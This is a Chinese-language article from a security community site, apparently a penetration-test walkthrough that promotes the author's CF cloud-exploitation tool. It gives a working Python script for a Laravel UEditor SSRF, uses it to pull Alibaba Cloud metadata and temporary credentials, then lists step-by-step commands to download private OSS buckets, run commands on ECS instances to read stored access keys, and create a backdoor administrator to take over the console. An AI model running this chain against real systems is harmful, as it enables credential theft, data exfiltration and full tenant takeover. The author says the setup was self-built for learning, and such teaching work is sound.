一個部署在云上的存在 Laravel UEditor SSRF漏洞 - 網安 - 專業的網絡安全產業、社區、知識平臺

最近在做項目的時候，測到了一個部署在云上的存在 Laravel UEditor SSRF 漏洞的站點，并且發現這個 SSRF 漏洞可以讀取到臨時憑證，這不巧了，正好最近寫了一個云環境利用的工具。

開始之前這里先簡單介紹一下這個工具，CF 是這個工具的名字，通過它可以很方便的進行云上內網滲透，比如一鍵在所有實例上執行命令、一鍵接管控制臺、一鍵列出云服務資源等等。

項目地址：

https://github.com/teamssix/cf

使用手冊：

https://wiki.teamssix.com/cf

十分建議在使用 CF 的時候，邊使用邊參考 CF 的使用手冊，發現 CF 更多功能，那話不多說，下面咱們就開始吧。

打點，但，是云環境

一開始還是信息收集，首先通過指紋掃描發現在目標范圍內的一個站點使用了 Laravel 框架，接著測試發現該站點存在 Laravel UEditor SSRF 漏洞。

這里的 SSRF 漏洞觸發點在 UEditor 編輯器的上傳圖片功能中，下面我們嘗試讓服務器從 https://baidu.com?.jpg 獲取圖片。

然后我們讀取返回的文件地址，通過返回的內容可以看到服務端確實訪問到了 https://baidu.com?.jpg，說明這里確實存在 SSRF 漏洞。

通過查詢該域名所屬 IP，發現該站點位于云上，那么我們就可以利用這個 SSRF 漏洞去獲取實例的元數據信息，但是這樣每次獲取數據都要手動發兩個數據包就很麻煩，所以這里簡單搞個腳本。

import sysimport requests
ssrf_url = sys.argv[1]headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}
req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)
print(req2.text)

通過查詢該站點的 IP 得知該站點位于阿里云上，阿里云的元數據地址為：http://100.100.100.200/latest/meta-data，我們嘗試獲取一下。

可以看到成功獲取到了元數據信息，并且值得注意的是，在元數據信息里還有 ram/目錄，這就意味著這臺實例存在臨時訪問憑證，也就是說存在被進一步利用的可能性。

我們一步步打開 ram/目錄，在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了臨時訪問憑證。

不同于傳統的打點，云環境的打點在我看來，除了傳統打點的類型外，拿到云服務的 Access Key 也應該可以被稱之為打點，那么在打到點后，接下來就可以開始內網橫向了。

云上內網橫向，也得細心呀

當我們拿到臨時訪問憑證后，首先要做的就是得知道這個憑證具備哪些權限。

我們先把憑證配置到 CF 里，CF 下載地址：https://github.com/teamssix/cf/releases

cf configure

查看當前憑證的權限：

cf ls permissions

可以看到當前權限具有 OSS 的全部權限，并且可以使用 CF 的「列出 OSS 資源」以及「下載 OSS 資源」的功能。

這里先列出 OSS 資源看看：

cf oss ls

可以看到在該憑證下有四個存儲桶，一個是公開的，三個是私有的。

查看一下存儲桶里有哪些文件：

cf oss ls -b bucketName

利用 CF 下載文件，如果想下載全部對象，則不指定 -k參數即可。

cf oss get -b bucketName -k objectKey

大概翻了一下存儲桶里的文件，在公有存儲桶里大部分是圖片，私有存儲桶里有幾十個壓縮包文件和大量圖片等等，這幾百張圖片里只發現了幾張有敏感信息的圖片，整體來說價值不大。

后來過了一會兒還是另外一位師傅在私有存儲桶里一個個的翻文件，最后在幾十個壓縮包里終于找到了一個有高價值的配置文件，于是事情開始出現了轉機，不得不說，還是得細心啊。

查看這個配置文件，發現在配置文件里寫的是「OSS 相關配置信息」。

但是當我們配置上這個 AK 后，發現這個 AK 還具有 ECS 的權限。

注：在后來拿下管理員權限后，我們發現這個用戶被配置到了具備 ECS 權限的用戶組里去了，所以這里才會有 ECS 的權限。

先用 CF 看一下有哪些 ECS 實例：

cf ecs ls

使用 CF 一鍵獲取臨時訪問憑證：

cf ecs exec -m

發現只有一個實例可以獲取到臨時訪問憑證，而且這個有臨時訪問憑證的實例就是上述存在 SSRF 漏洞的那臺機器。

于是通過臨時訪問憑證橫向的這條路就斷了，那就繼續在實例上信息收集吧，看看能不能找到什么有價值的信息，最后發現有一臺實例安裝了 aliyun cli 工具，并且配置過 AK，那么這樣一來我們就可以通過查看 aliyun cli 工具的配置文件獲取到這個 AK。

cf ecs exec -c "cat ~/.aliyun/config.json"

將 CF 配置上這個 AK，并查看權限：

發現這個 AK 的權限要比之前的幾個都要大，這個 AK 具有 AliyunRAMFullAccess權限，這也就意味著我們可以創建一個管理員后門用戶，并通過該用戶去接管控制臺。

拿下管理員，相當于拿下“域控”？

使用 CF 一鍵接管控制臺：

cf console

在瀏覽器中，打開控制臺登錄地址，并輸入用戶名、密碼進行登錄。

在訪問控制里，可以看到當前權限為AdministratorAccess，這也就意味著我們已經拿到了該租戶的管理員權限。

在控制臺中看看這個賬號下的 OSS 對象存儲服務：

其他的 ECS、RDS 等等云服務也都是可以查看并操作的，這里就不再一一截圖了，到這里為止，其實在我看來就相當于已經拿下了傳統內網中的“域控”權限。

基本上這個云賬號下的絕大部分操作都是可以執行的了，只不過在控制臺下有些操作需要二次校驗，但其實還是有辦法繞過的，繞過的方法也很簡單，相信你能猜到 ~

最后還有一些值得注意的地方：

在 ECS 實例中執行一些高危命令，例如反彈 Shell 這類，可能會引發云盾告警。
CF 接管控制臺會創建一個后門用戶，在使用完后，記得取消接管，使用 cf console cancel命令即可取消接管，后門用戶也會隨之刪除。
為了充分表達云上內網橫向的過程以及更加完整的展示 CF 的使用，文中少部分內容非真實發生且部分內容進行了省略。
出于保護目標但又想學習交流的目的，以上云上環境均為個人搭建，不代表目標的實際情況。

總結

記得以前大家一起做項目的時候，那個時候如果有人打點打到云上的主機時，就會在協作平臺里標注一句「這個是云主機，不用花太多時間去深入」。

但隨著企業業務的不斷上云，打點打到云上主機的概率也在可感知的越來越大，似乎傳統內網的奶酪正在不斷變少，這時如果不去尋找新的奶酪（指云上內網橫向），也許在不久的將來就會陷入兩難的境地。

因此本文既是在介紹我寫的這個云環境利用框架 CF 工具，也是在描繪一種在新場景下的內網橫向手法，這里的內網橫向不僅僅是從這臺機器到那臺機器，而是從這個云服務到那個云服務，例如從 OSS 到 ECS 再到 RAM 等等，在這其中又包含了從這個機器到那臺機器，例如多臺 ECS 實例之間的內網橫向。